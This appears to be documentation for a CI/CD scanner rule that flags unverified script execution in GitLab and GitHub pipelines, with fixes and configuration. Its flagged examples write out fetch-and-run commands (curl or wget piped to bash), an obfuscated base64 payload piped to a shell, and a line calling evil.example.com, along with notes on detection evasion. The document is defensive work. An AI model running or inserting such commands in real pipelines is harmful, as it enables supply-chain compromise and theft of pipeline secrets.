CI/CD provider
Unverified script execution
Control: Pipeline must not execute unverified scriptsยท Config key: pipelineMustNotExecuteUnverifiedScripts
๐ What is this?
A CI/CD job downloads or inline-executes code without any integrity check. Detects classic supply-chain patterns (curl | bash, wget | sh, download-then-exec on the same line, redirect-then-exec) plus the Megalodon-style obfuscated payload (echo "<base64>" | base64 -d | bash) and any generic <cmd> | <shell> chain. Maps to OWASP CICD-SEC-3 (Dependency Chain Abuse) and CICD-SEC-8 (Ungoverned Usage of 3rd Party Services).
โ ๏ธ Impact
An attacker who compromises the remote URL, or who can inject an obfuscated inline payload into the pipeline, runs arbitrary code with the runner's $CI_JOB_TOKEN, deploy keys, custom CI/CD variables and any masked secrets in scope. The blast radius is the union of every secret the job can read; a single retag of the upstream script is enough to exfiltrate the lot.
๐ง How to fix
Download to a file and verify a checksum or signature on the same line before execution (sha256sum -c, gpg --verify, cosign verify / verify-blob). Or vendor the script in-tree under version control. For trusted internal hosts, declare the URL pattern in trustedUrls (host-precise glob match).
# .gitlab-ci.yml: โ Six patterns the rule catchespipe_to_shell: image: alpine:3.19 script: - curl -sSL https://example.com/install.sh | bash
wget_pipe: image: alpine:3.19 script: - wget -qO- https://example.com/install.sh | sh
download_and_exec: image: alpine:3.19 script: - curl -fsSL https://example.com/install.sh -o install.sh && bash install.sh
redirect_then_exec: image: alpine:3.19 script: - curl -fsSL https://example.com/payload.sh > install.sh; sh install.sh
megalodon_base64: image: alpine:3.19 script: - echo "Q0I9Imh0dHA6Ly8yMTYuMTI2LjIyNS4xMjk6ODQ0MyI=" | base64 -d | bash
generic_local_pipe: image: alpine:3.19 script: - cat /tmp/payload.sh | sh# .gitlab-ci.yml: โ
Three ways to clear the findingvendored_script: image: alpine:3.19 script: # In-tree script under version control, reviewed in MRs. - bash scripts/setup-tools.sh
checksum_verified: image: alpine:3.19 script: # sha256sum on the same line as the download exempts the line. - curl -sSL https://example.com/install.sh -o install.sh && sha256sum -c install.sha256 && bash install.sh
signature_verified: image: alpine:3.19 script: # cosign verify-blob on the same line works the same way; gpg --verify too. - curl -sSL https://example.com/install.sh -o install.sh && cosign verify-blob --signature install.sig install.sh && bash install.sh
# .plumber.yaml: exempt a known-good internal host# gitlab:# controls:# pipelineMustNotExecuteUnverifiedScripts:# enabled: true# trustedUrls:# - https://internal-artifacts.example.com/*๐ก Tips
- Recognised integrity checks (any on the same line as the download):
sha256sum,sha512sum,sha1sum,shasum,gpg --verify,cosign verify,cosign verify-blob. - Verification is per-line: the keyword must be on the same line as the unsafe pattern, not on a separate
script:entry.curl โฆ && sha256sum -c โฆ && bash โฆworks; splitting them across three array items does not. - The verification check itself ignores keywords inside quoted strings:
echo "should sha256sum first" && curl evil | bashdoes NOT bypass detection. - Pipe-to-shell substrings inside a quoted string (
echo "Install with curl โฆ | bash") are documentation, not execution, so they do not fire. - Heredoc-to-shell with no download on the line (
cat <<EOF | bash) is operator-authored, in-tree content. Any unsafe download inside the heredoc body still fires on its own script line. - A leading
echo/printfpiping a local variable into an interpreter (echo "$VAR" | python3 -c โฆ) is in-pipeline data, not a download, so it does not fire. The exemption is voided by anycurl/wget/base64anywhere on the line, including one hidden inside a quoted command substitution (echo "$(curl evil)" | bashstill fires), so quoting a fetch does not evade the check. trustedUrlsis host-precise:https://example.com/*does NOT matchhttps://evil.example.com/*.- Consider vendoring external scripts into your repository for full control over their content; use a trusted package manager (apt, brew, pip) instead of raw script downloads when possible.
โ๏ธ Configuration
This control is configured in .plumber.yaml under the gitlab section:
gitlab:
controls:
pipelineMustNotExecuteUnverifiedScripts:
enabled: trueSee the CLI documentation for the full configuration reference.
Unverified script execution
Control: Workflow must not execute unverified scriptsยท Config key: pipelineMustNotExecuteUnverifiedScripts
๐ What is this?
A workflow run: step downloads or inline-executes code without any integrity check. Flags direct pipe-to-shell chains (curl | bash, wget | sh, curl | python, and any <command> | <shell> pattern), download-then-execute (curl -o script.sh โฆ && bash script.sh), redirect-then-execute (curl โฆ > install.sh; sh install.sh), and Megalodon-style obfuscated payloads (echo "<base64>" | base64 -d | bash) written directly in the workflow. Maps to OWASP CICD-SEC-3 (Dependency Chain Abuse) and CICD-SEC-8 (Ungoverned Usage of 3rd Party Services).
โ ๏ธ Impact
An attacker who compromises the remote URL, or who can inject an obfuscated inline payload into a workflow, runs arbitrary code with the job's GITHUB_TOKEN, every secret the workflow can read, OIDC trust relationships, deploy keys, package-registry credentials. The Megalodon vector specifically targets GitHub Actions because the privileged context is uniform across thousands of repos.
๐ง How to fix
Vendor scripts into the repository, or download to a file and verify a checksum / signature on the same line before execution. For trusted internal hosts, declare the URL pattern in trustedUrls (host-precise glob match). Heredoc-to-shell with no download on the line is treated as in-tree operator-authored content and does not fire.
# .github/workflows/setup.yml: โ Five patterns this rule catchesjobs: pipe_to_shell: runs-on: ubuntu-latest steps: - run: curl -sSL https://example.com/install.sh | bash
download_and_exec: runs-on: ubuntu-latest steps: - run: curl -fsSL https://example.com/install.sh -o install.sh && bash install.sh
redirect_then_exec: runs-on: ubuntu-latest steps: - run: curl -fsSL https://example.com/payload.sh > install.sh; sh install.sh
megalodon_base64: runs-on: ubuntu-latest steps: - run: echo "Q0I9Imh0dHA6Ly8yMTYuMTI2LjIyNS4xMjk6ODQ0MyI=" | base64 -d | bash
heredoc_camouflage: runs-on: ubuntu-latest steps: - run: | curl https://evil.example.com/payload | bash <<EOF EOF# .github/workflows/setup.yml: โ
Three ways to clear the findingjobs: vendored_script: runs-on: ubuntu-latest steps: # In-tree script under version control, reviewed in PRs. - run: bash scripts/setup-tools.sh
checksum_verified: runs-on: ubuntu-latest steps: - run: | curl -sSL https://example.com/install.sh -o install.sh echo "<expected-sha256> install.sh" | sha256sum -c - bash install.sh
signature_verified: runs-on: ubuntu-latest steps: - run: | curl -sSL https://example.com/install.sh -o install.sh cosign verify-blob --signature install.sig install.sh bash install.sh
# .plumber.yaml: exempt a known-good internal host# github:# controls:# pipelineMustNotExecuteUnverifiedScripts:# enabled: true# trustedUrls:# - https://internal-artifacts.example.com/*๐ก Tips
- Recognised integrity checks (any on the same line as the download):
sha256sum,sha512sum,sha1sum,shasum,gpg --verify,cosign verify,cosign verify-blob. - The verification check ignores keywords inside quoted strings, so
echo "should sha256sum first" && curl evil | bashdoes NOT bypass detection. trustedUrlsis host-precise:https://example.com/*does NOT matchhttps://evil.example.com/*.- Pipe-to-shell substrings inside a quoted string (
echo "Install with curl โฆ | bash") are documentation, not execution, so they do not fire. - Heredoc-to-shell with no download on the line (
cat <<EOF | bash) is operator-authored, in-tree content. Any unsafe download inside the heredoc body still fires on its own script line. - A leading
echo/printfpiping in-workflow data into an interpreter (echo "$NEEDS_CONTEXT" | python3 -c โฆ) is local data, not a download. It does not fire unlesscurl/wget/base64is also on the line. - Inline payloads on
pull_request_targetworkflows are especially dangerous. Combine ISSUE-411 with ISSUE-802 (dangerous-triggers) for the full Megalodon defence.
โ๏ธ Configuration
This control is configured in .plumber.yaml under the github section:
github:
controls:
pipelineMustNotExecuteUnverifiedScripts:
enabled: trueSee the CLI documentation for the full configuration reference.